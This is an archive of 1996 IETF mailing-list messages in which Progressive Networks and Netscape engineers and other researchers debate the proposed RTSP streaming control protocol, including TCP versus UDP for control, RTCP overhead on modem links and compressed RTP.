X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu, rem-conf@es.net
Subject: RTSP in NYT
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

http://www.nytimes.com/library/cyber/week/1014standards.html

It would be nice to hear from the authors of RTSP whether they are
looking for mmusic to basically approve the document as is or if this is
supposed to be a genuine IETF effort.
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Mon Oct 14 01:40:40 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27468>; Mon, 14 Oct 1996 08:40:43 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27462>; Mon, 14 Oct 1996 08:40:41 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA13571>; Mon, 14 Oct 1996 08:40:37 -0700
Received: from mdlaptop.prognet.com (johnf.prognet.com) by murrow.prognet.com with SMTP id AA00065
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 14 Oct 1996 08:40:21 -0700
Message-Id: <2.2.32.19961014154040.0076472c@mail.prognet.com>
X-Sender: martind@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 14 Oct 1996 08:40:40 -0700
To: "Henning G. Schulzrinne" <schulzrinne@cs.columbia.edu>, confctrl@isi.edu,
        rem-conf@es.net
From: Martin Dunsmuir <martind@prognet.com>
Subject: Re: RTSP in NYT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

We are deadly serious about IETF involvement. The RTSP draft, as submitted 
represents our collaborative work with Netscape and draws on our experience
with RealAudio. So we do think that a good, widely supported standard can come 
out of the current
draft without too much work. The industry needs a standard in this area, as 
witness the wide industry support for this effort, we believe that we understand
some aspects of the problem very well, but peer review and the development
of a standard within the IETF process is our goal.

Martin Dunsmuir
General Manager, Server Products
Progressive Networks

At 07:10 AM 10/14/96 -0400, Henning G. Schulzrinne wrote:
>http://www.nytimes.com/library/cyber/week/1014standards.html
>
>It would be nice to hear from the authors of RTSP whether they are
>looking for mmusic to basically approve the document as is or if this is
>supposed to be a genuine IETF effort.
>-- 
>Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
>Dept. of Computer Science   phone: +1 212 939-7042
>Columbia University         fax:   +1 212 666-0140
>New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs
>
>


From majordom@ISI.EDU  Mon Oct 14 06:55:01 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20742>; Mon, 14 Oct 1996 13:55:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20732>; Mon, 14 Oct 1996 13:55:37 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA00621>; Mon, 14 Oct 1996 13:55:36 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA19760
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 14 Oct 1996 13:55:30 -0700
Message-Id: <2.2.32.19961014205501.017142b0@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 14 Oct 1996 13:55:01 -0700
To: "Henning G. Schulzrinne" <schulzrinne@cs.columbia.edu>, confctrl@isi.edu,
        rem-conf@es.net
From: Rob Lanphier <robla@prognet.com>
Subject: Re: RTSP in NYT
Cc: Martin Dunsmuir <martind@prognet.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 07:10 AM 10/14/96 -0400, Henning G. Schulzrinne wrote:
>http://www.nytimes.com/library/cyber/week/1014standards.html
>
>It would be nice to hear from the authors of RTSP whether they are
>looking for mmusic to basically approve the document as is or if this is
>supposed to be a genuine IETF effort.

I would like to add to what Martin wrote.  Anup Rao and I have discussed all
of the email, and we want to make sure that we both understand the questions
the same way before replying to them to avoid sending mixed messages and
just creating unnecessary havoc on the mail list.  We'll be replying in
detail to everyone's comments very soon.

Sorry for being a hermit these past few days :)

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Mon Oct 14 13:13:59 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13511>; Mon, 14 Oct 1996 20:14:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13505>; Mon, 14 Oct 1996 20:14:35 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA21889>; Mon, 14 Oct 1996 20:14:34 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA06479
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 14 Oct 1996 20:14:31 -0700
Message-Id: <2.2.32.19961015031359.009347e0@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 14 Oct 1996 20:13:59 -0700
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for
  MMUSIC Working Group of IETF
Cc: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>,
        Mike Po <map@netscape.com>, Atri Chatterjee <atri@netscape.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi Jon,

Thanks for the comments.

At 06:18 PM 10/10/96 +0100, you wrote:
>coupolke of things (before i have read this properly)
>1/ the name -there is a near clash with NTT's Real Time Stream
>Pipeline Protocol, RSTP (which has some of the same functionality
>somewhere in it...)

This is a good point.  The proximity to the name RSTP is unfortunate.
However, it's hard to find a name that there isn't some sort of clash
occuring.   Still, if you have any suggestions for new names, let us know.
Also, we will consider comments from everyone on the aptness of the name.

>2/ this is really a Control protocol, in fact its really a VCR control
>protocol so it'd be neat if it looked a bit more abstract (transport
>protocol independance for the Control part, as well as the data part,
>which you've obviously done very nicely....)
>and its name should reflect that (i was jumping up and fdown shouting
>about it in the lab til someone pointed this out and made me read it
>properly:-)

The proposal also suggests not only how to control streams but how to
deliver them (UDP, Compressed RTP, RTP, SCP over the same TCP session,
etc.), so this really is both control and streaming.  However, I do see your
point that it is primarily for control of streams.  The binding of the
control to TCP is something we'll have to discuss further.

Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Tue Oct 15 16:04:43 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29279>; Tue, 15 Oct 1996 07:55:39 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29273>; Tue, 15 Oct 1996 07:55:37 -0700
Received: from zaphod.axion.bt.co.uk by venera.isi.edu (5.65c/5.61+local-25)
	id <AA13228>; Tue, 15 Oct 1996 07:55:31 -0700
Received: from hfs1.hfnet.bt.co.uk by zaphod.axion.bt.co.uk with SMTP (PP); Tue, 15 Oct 1996 15:54:58 +0100
Received: from [132.146.65.15] (mac6515) by hfs1.hfnet.bt.co.uk; Tue, 15 Oct 96 15:54:47 BST
X-Sender: anderson@hfs1.hfnet.bt.co.uk
Message-Id: <v01530502ae896502fe57@[132.146.65.15]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 15 Oct 1996 16:04:43 +0000
To: confctrl@isi.edu
From: ben.anderson@bt-sys.bt.co.uk (Ben Anderson)
Subject: TelePort for Solaris & an Internet Draft
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

a solaris version of TelePort is now at:

http://pipkin.lut.ac.uk/~ben/PHD/alpha/2.1/

It is pretty much untested...

an internet draft describing the group awareness protocol that underlies
TelePort is at:

http://pipkin.lut.ac.uk/~ben/PHD/public_docs/

I would like to submit this draft to the group for comment.

I have plans for teleport but as I have moved to BT Labs I am unsure
whether they will be realised.

cheers
Ben

--**--
<stdsig>: These views are probably not even reliably mine.



From majordom@ISI.EDU  Tue Oct 15 05:13:19 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13301>; Tue, 15 Oct 1996 12:13:58 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13295>; Tue, 15 Oct 1996 12:13:56 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26233>; Tue, 15 Oct 1996 12:13:53 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA02157
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Tue, 15 Oct 1996 12:13:47 -0700
Message-Id: <2.2.32.19961015191319.009a938c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 15 Oct 1996 12:13:19 -0700
To: "Scott Petrack" <petrack@VNET.IBM.COM>, confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Re: RTSP
Cc: rem-conf@es.net
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi Scott,

At 10:00 AM 10/11/96 IST, Scott Petrack wrote:
>My $0.02 before I read all the RTSP I-D carefully:
>
>1.I thought that there was actually a very large consensus in Montreal
>AGAINST blessing any kind of lightweight RTP, even in principle.
>This issue was already opened, decided, and closed.
> RTSP should rely on link-level RTP/UDP/IP
>compression if it wants a lightweight RTP. If it needs something over
>TCP, then one should do a link level RTP/TCP/IP. (This is of course
>particularly trivial to do over TCP.)

Compressed RTP is an optional feature, and the protocol has a mechanism to
bypass this compression.  However, we specify it so that there is an
interoperable modem-bandwidth solution.  This is something we rely on pretty
heavily.  The bandwidth saving may not seem dramatic, but every byte matters
on a modem.

Nonetheless, this is a fair claim.  I realize from one of your early drafts
that you'd originally proposed an interim solution, and I would agree with
your earlier assessments.  I'll discuss the compressed RTP issue a little
more thoroughly in another message.

>2. Using TCP for reliability of a control protocol is a really hideous
>thing to do. (Can you say ITU?). I would not like to see the IETF
>embrace such a monstrous practice. Of course, the issue of a reliable
>channel for RTP control is a very important one and must be addressed. I
>would think that adding a simple ACK scheme would be perfectly
>satisfactory. If you think (as I do) that the correct way to transport
>control for RTP streams is in some RTCP packets, then it's pretty
>obvious how to add an ACK packet type and how to piggyback it onto other
>RTCP packets in such a way as to add absolutely minimal overhead. This
>has the added advantage that if you don't need it you just don't do it,
>so it's totally "backward compatible" with existing RTP tools.

Please help me understand this a little better.  We've used a TCP control
stream in our product since the first release in 1994, primarily because it
has two advantages:

1.  It is reliable
2.  It is reasonably secure (especially when compared to UDP)

You've addressed how we may achieve reliability with RTCP, but not security.
Part of the reason that firewall administrators allow RealAudio through
their firewalls is because we use TCP for our control stream, and that they
can validate the source of a TCP stream with reasonable certainty, whereas
UDP is very easily spoofed.

The reason why I'm inclined to use TCP is because the design goals of TCP
and this reliable RTCP are virtually identical.  If I understood what design
objective is being achieved by avoiding TCP, I'd have a better understanding
of why we shouldn't use it.

>3. RTSP looks to me like a protocol for audio/video streaming playback.
>With just the tiniest effort, it could be made into a protocol for
>real-time control of RTP streams. This would include
>record, playback, translators, mixers, and perhaps other gateways. I
>don't want to do "everything." I want to restrict to and focus on
>"real-time control of RTP streams." I have no problem with starting with
>media types audio/video, and starting with playback/record. But I'd like
>to be sure *now* that the protocol will support more, just like I know now
>that RTP will support more later than its current rather simple usages.

Certainly this is going to be more than just playback of on-demand.  We see
this as being a control protocol layered on top of RTP to provide the
control elements necessary for widespread RTP use.  We currently are
focusing on the need to control playback in the near term, but we have
definitely set our sights on controling all aspects of transmission, because
we have a need to standardize all elements of media delivery.

Thanks for your comments on this.
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Tue Oct 15 05:20:51 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13807>; Tue, 15 Oct 1996 12:21:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13796>; Tue, 15 Oct 1996 12:21:36 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26671>; Tue, 15 Oct 1996 12:21:34 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA02543
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Tue, 15 Oct 1996 12:21:19 -0700
Message-Id: <2.2.32.19961015192051.0098c128@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 15 Oct 1996 12:20:51 -0700
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for
  MMUSIC          Working Group of IETF
Cc: eduardo@netscape.com, confctrl@ISI.EDU, Mike Po <map@netscape.com>,
        Atri Chatterjee <atri@netscape.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi Mark,

Thanks for taking the time to evaluate this, and sorry for not getting back
to you sooner.  This is the kind of input we were hoping to receive on
this.  Let me address some of the issues you bring up now, and Anup or I
will give you more background on the other issues shortly.

Mark Handley wrote:
> - the options mechanism is pretty complicated - as a general rule I
> (personally) prefer protocols without complicated option mechanisms.
> Telnet implementations (which you base the negotitation OK) often
> don't bother to implement any of the options these days.

Without discussing what telnet implementations usually do, I can say
with relative certainty that vendors and others who choose to
implement this protocol are almost certainly going to want to
embellish it in one way or another.

Perhaps the mechansism that we have can be simplified.  We should
discuss the ways in which we can do this.  However, I think we are
going to have to make sure that we have something sufficiently
sophisticated to allow additions to the protocol to come from
different sources, so that vendors can experiment with new options
prior to going through the standardization process without affecting
the robustness of the base protocol.

> - can a single fetch give multiple stream-header replies?  if not, how
> do you do *multi*media sessions?

A single TCP connection can support multiple stream-header replies
through the use of SCP.  Independent substreams are fetched by the
client, and then synchronized at the client to form a multimedia
presentation.  Communicating the assembly of a multimedia session is
something that still needs to be addressed, but can be addressed outside
of the control protocol (for instance, via a metafile that groups the 
streams or by an events stream that is no different from any other
stream).
 
> - in the stream-header flags, you can specify U, ie that the server
> can send UDP if required.  There's no equivalent T flag.  Does this
> mean that you assume the stream can alwasy be sent by "reliable
> means"?

We assume that there is a reliable way of sending the information.
Admittedly, this is based on our current model of having TCP and UDP
as the two modes of delivery.  However, there will always be
information that is going to have to be sent over at least a
reasonably reliable channel.

> In general, my main reservation about this is the use of TCP (which
> provides arbitrary delays to achieve reliability) to control real-time
> UDP based streams where timing is all important.  I'd prefer to see a
> mapping of this protocol over UDP...

TCP seems to work reasonably well in our current line of products.  We
really do need the reliability of TCP (when people hit the "stop" button,
they do mean "stop").  The problem with using UDP is that, as Henning points
out, we would eventually be implementing our own version of TCP on top of UDP.

Another reason to use TCP is that TCP is very firewall friendly.  This is
also why we have a TCP-only option.  Many firewall administrators block all
UDP, and so having a way to access RTSP streams purely through TCP is a big win.

This is it for now.  Anup should be able to answer some of the questions
that I haven't, and I'll also elaborate more on many of these points and
others.  By all means, let's keep this conversation going.

Thanks,
Rob



---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Tue Oct 15 05:27:21 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14097>; Tue, 15 Oct 1996 12:27:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14090>; Tue, 15 Oct 1996 12:27:49 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA27047>; Tue, 15 Oct 1996 12:27:47 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA02880
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Tue, 15 Oct 1996 12:27:50 -0700
Message-Id: <2.2.32.19961015192721.009b634c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 15 Oct 1996 12:27:21 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: RTCP usage in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

One of the things that we don't take head-on in the RTSP protocol document is
the bandwidth use of RTCP.  We have worked very hard to understand the
importance of RTCP, and I think we need an explanation of the importance of
RTCP in the low-bandwidth, one-to-many model.  We fully understand the
importance of it in a multi-member conference, and we understand the
*general* need for RTCP or something like it.

However, in low-bandwidth broadcasting situations, RTCP becomes a very
problematic requirement for RTP complience.  We understand that RTCP was
designed to function well in a peer-to-peer environment, in which all
participants are both clients and servers at once.  Therefore, in a
multicast setting, RTCP messages are multicasted to all members of a
members of a multicast group.

Let's say you have the client-server topology shown in Figure A


Client A----+         +-----Client E
            |         |
            |         |
Client B----+----+----+-----Client F
                 |
              Server
                 |
Client C----+----+----+-----Client G
            |         |
            |         |
Client D----+         +-----Client H

              Figure A

As I understand it, the idea behind RTCP is that Client A may need
information about Client B's reception, so that it can determine if any
reception problems are specific to it, or are a problem in Subnet 1 as a
whole.  Likewise, Client A may also need to receive samples from Client E
or even Client H to do more diagnostics.

In an effort to compensate for the fact that every client sending reporting
packets could consume the bandwidth of a connection, a 5% limit is imposed
on RTCP traffic by the suggested algorithm used to determine the reporting
interval at each client.  Furthermore, 25% of that (1.25% of the total
bandwidth) is reserved for RTP senders (i.e. the server).  In
high-bandwidth situations, this scales reasonably well, because the RTCP
portion of the communications channel is substantial enough to send
meaningful statistics through.

However, in a low-bandwidth situation (for instance, 2 kilobytes per
second, as is common with modems), this portion of the communications
channel only equates to 100 bytes per second.  Of that, 75 bytes per second
may be used by the clients to multicast RTCP packets through.

That 75 bytes per second must be shared by all clients.  In a situation
where one is broadcasting to 1000 clients, this means that each client may
only send one minimal (80 byte) packet once every 17 or 18 minutes, which
is virtually useless.  Furthermore, since it is client-driven, it won't
necessarily be an evenly controlled 75 bytes per second, so the guarantee
that it stay under 5% is not a rule but merely a guideline.

Even if it is possible to guarantee that the RTCP bandwidth stays under 5%,
what we have found is every byte matters, and even the smallest savings in
overhead can result in much better quality.

Now, another important function of RTCP is jitter calculation, which is
essential to conferencing applications.  In two-way conferencing, keeping
this delay low is essential, since even small delays can make a
conversation unpleasant.  In a one-way broadcasting model, though a start
up delay is unpleasant, it is easier to trade this off for better audio or
video quality.  Removing the 5% overhead caused by RTCP can dramatically
improve quality, so this argues heavily against using RTCP.

Another reason to broadcast RTCP packets is to make it easier for routers
and monitors to monitor quality of service of a local network relative to
the rest of the network carrying the RTP session.  However, I'd like to ask
the members of this list a couple of things:

*  What compelling applications have been built around RTCP monitoring?
*  Why not do this through SNMP?

I'm not arguing against the use of RTCP for high-speed connections.  But
building pragmatic solutions for today's Internet (i.e. still with a large
population accessing it via modem) is a very big concern for us, as it is
for anyone who is trying to squeeze as much performance out of 14.4 and
28.8 connections.

The final reason for using RTCP is for associating CNAME info with SSRCs,
and resolving conflicts between SSRCs.  This is a legitimate need, but
this opens up a whole 'nother can of worms that I would like to address as
a separate issue.  Bandwidth-wise, this presumably makes up such a small
percentage of the RTCP stream that we should be able to give it separate
treatment.

This isn't explicitly stated in the document, but I feel that the RTCP
requirement should be dropped in "compressed RTP".  If no one feels
comfortable calling the resulting transport "RTP", that's fine.  We can
come up with a different name for this varient.  The important thing is
that we have a standard format designed for broadcast to low-bitrate
connections.  This will make the transition to RTP much less painful:

Anticipated Migration:

+-------------+       +-------------+       +-------------+
| Proprietary |       |             |       |             |
|   Control   |       |     RTSP    |       |     RTSP    |
|   Protocol  |       |             |       |             |
+-------------+  -->  +-------------+  -->  +-------------+
| Proprietary |   ^   | Compressed  |   ^   |             |
|  Transport  |   |   |     RTP     |   |   |   RTP/RTCP  |
|   Protocol  |   |   |             |   |   |             |
+-------------+   |   +-------------+   |   +-------------+
		  |			|
    Benefits: ----+			+-------  Benefits:
    *  Internet standard		          *  Designed to work
       control protocol                              with upcoming RTP
    *  Frugal bandwidth                              infrastructure
       usage on today's
       Internet

For this protocol to gain widespread acceptance, it *cannot* put companies
adopting it at a competitive disadvantage.  Raw RTP/RTCP imposes a
"standards tax" that companies will avoid.  I fear that forcing this
overhead on them will cause them to balk and continue developing
proprietary protocols that have more favorable performance characteristics.

Please let me know if these fears are unfounded, and why.

Thanks!
Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Tue Oct 15 21:32:33 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14521>; Tue, 15 Oct 1996 12:33:08 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14513>; Tue, 15 Oct 1996 12:33:02 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA03290>; Tue, 15 Oct 1996 12:33:01 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.13140-0@bells.cs.ucl.ac.uk>; Tue, 15 Oct 1996 20:32:36 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Rob Lanphier <robla@prognet.com>
Cc: Scott Petrack <petrack@VNET.IBM.COM>, confctrl@ISI.EDU, rem-conf@es.net
Subject: Re: RTSP
In-Reply-To: Your message of "Tue, 15 Oct 1996 12:13:19 PDT." <2.2.32.19961015191319.009a938c@mail.prognet.com>
Date: Tue, 15 Oct 1996 20:32:33 +0100
Message-Id: <8708.845407953@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Please help me understand this a little better.  We've used a TCP control
>stream in our product since the first release in 1994, primarily because it
>has two advantages:
>
>1.  It is reliable
>2.  It is reasonably secure (especially when compared to UDP)
>
>You've addressed how we may achieve reliability with RTCP, but not security.
>Part of the reason that firewall administrators allow RealAudio through
>their firewalls is because we use TCP for our control stream, and that they
>can validate the source of a TCP stream with reasonable certainty, whereas
>UDP is very easily spoofed.

Umm, perhaps I've missed something here.  TCP source spoofing is just
as easy as UDP source spoofing with the exception that the TCP initial
sequence number is supposed to be random.  Assuming you're designing a
protocol that does an exchange (and we are here), then this degree of
very limited security is trivially added to a UDP based protocol by
adding a random connection id field sent to the client by the server
in it's initial handshake.

Much better in either case though is to use IPSEC...

Mark

From majordom@ISI.EDU  Tue Oct 15 12:18:44 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17139>; Tue, 15 Oct 1996 13:19:15 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17133>; Tue, 15 Oct 1996 13:19:12 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA00144>; Tue, 15 Oct 1996 13:19:12 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id NAA04873; Tue, 15 Oct 1996 13:18:43 -0700
Message-Id: <3.0b36.32.19961015161842.00ce60e8@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0b36 (32)
Date: Tue, 15 Oct 1996 16:18:44 -0400
To: Rob Lanphier <robla@prognet.com>, Scott Petrack <petrack@VNET.IBM.COM>,
        confctrl@isi.edu
From: David Oran <oran@cisco.com>
Subject: Re: RTSP
Cc: rem-conf@es.net
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:13 PM 10/15/96 -0700, Rob Lanphier wrote:
>Hi Scott,
[SNIP]
>Certainly this is going to be more than just playback of on-demand.  We see
>this as being a control protocol layered on top of RTP to provide the
>control elements necessary for widespread RTP use.  We currently are
>focusing on the need to control playback in the near term, but we have
>definitely set our sights on controling all aspects of transmission, because
>we have a need to standardize all elements of media delivery.
>
Rob, I'm curious what you see as the scope of "controlling all aspects
of transmission". Could you give some examples outside the VCR-button
domain of what you envision?

Just to stimulate discussion, what about an I-Phone conference using RTP
and you want to put the phone on "hold". Is that in the scope of RTSP, part
of the IK-phone session protocol, or something that belongs in RTCP?

Thanks, and looking forward to further enlightenment.

-----------------
David R. Oran
Cisco Systems			Direct: 408-527-0567
7 Ladyslipper Lane		Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720		EMail: oran@cisco.com



From majordom@ISI.EDU  Tue Oct 15 09:42:47 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29498>; Tue, 15 Oct 1996 16:41:51 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29492>; Tue, 15 Oct 1996 16:41:50 -0700
Received: from c3po.mcom.com (h-198-93-92-27.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA10670>; Tue, 15 Oct 1996 16:41:50 -0700
Received: from stargazer.mcom.com (stargazer.mcom.com [207.1.142.55]) by c3po.mcom.com (8.7.5/8.7.3) with SMTP id QAA03488 for <confctrl@isi.edu>; Tue, 15 Oct 1996 16:41:49 -0700 (PDT)
Received: from stargazer by stargazer.mcom.com (SMI-8.6/SMI-SVR4)
	id QAA02187; Tue, 15 Oct 1996 16:42:47 -0700
Message-Id: <32642177.116F@netscape.com>
Date: Tue, 15 Oct 1996 16:42:47 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0b6Gold (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: Re : RTSP
References: <199610152334.QAA03305@c3po.mcom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark Handley  wrote:
 
>  - in the RTSP-Audio family, reserving a codec ID range for Microsoft
> Audio Compression Manager but not referencing RTP AV profile payload
> types or ITU standards seems odd, particularly as there are likely to
> be overlaps.
>
         The only reason we used it is the fact that it is a  fairly
comprehensive  codec name space,  and convenient from an implementation
point of view. We will definitely review this in order to address your
concerns.
 
> - I can't figure out where the stuff in Appendix D fits in, but
> perhaps I just haven't read the spec through closely enough.
>
        We really look at RTSP as a being a protocol to access media
streams
and control their delivery.  In doing so, we have found need for some
things not related to control as such - I think a good example is
Copyright. The question is - does this really belong in the protocol ?
We do believe that there is a strong case for it, and it adds to the
completeness of the protocol.


> In general, my main reservation about this is the use of TCP (which
> provides arbitrary delays to achieve reliability) to control real-time
> UDP based streams where timing is all important.  I'd prefer to see a
> mapping of this protocol over UDP...

 
Rob Lanphier has answered this. I have a few things to add to what was
said earlier:-

What TCP buys us is :-

1) Reliability with  performance optimized by collective net experience
of  many years.

2) Ability to provide security relatively easily, for example, by using
SSL(that needs to be on top of a reliable layer). If we wanted to do
anything similar with underlying UDP, we would have to reinvent TCP.
RTSP is a means to access and control media streams, and risks being
incomplete if this need is not addressed.  TCP itself does not provide
much security, as you have pointed out. But having its reliability means
that security can be addressed via existing means.
 
3) It enjoys enormous, enormous  support by existing infrastructure.
Validation/association of UDP streams with TCP connections is possible
and fairly well accepted(example firewalls,  SOCKS v5) due to its
connection oriented nature.

Potentially, we could drop the requirement of TCP and have it run over
any reliable protocol - this would make it more general.

The question about controlling time sensitive data via something that
trades off delay for reliability is very  valid, and we had given
thought  to it earlier. It is  important to note that control messages
are a) uni-directional for the most part b) discontinuous(not related
significantly to the rate of the stream) and occasional(less than one
req/rep per RTT)by their very nature, and therefore do not result in any
significant delay. Also, these are by nature small in size, and
unfragmented. Henning Schulzrinne has already pointed out most of this.
Our experience indicates  that TCP is a good choice for these messages
and response to control messages does not suffer. In view of this and
the belief that having a reliable connection around  is important, doing
a lightweight reliable transport solely for the control just does not
seem right.

-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.  -  LiveMedia                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Tue Oct 15 13:42:16 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03077>; Tue, 15 Oct 1996 17:41:42 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03071>; Tue, 15 Oct 1996 17:41:40 -0700
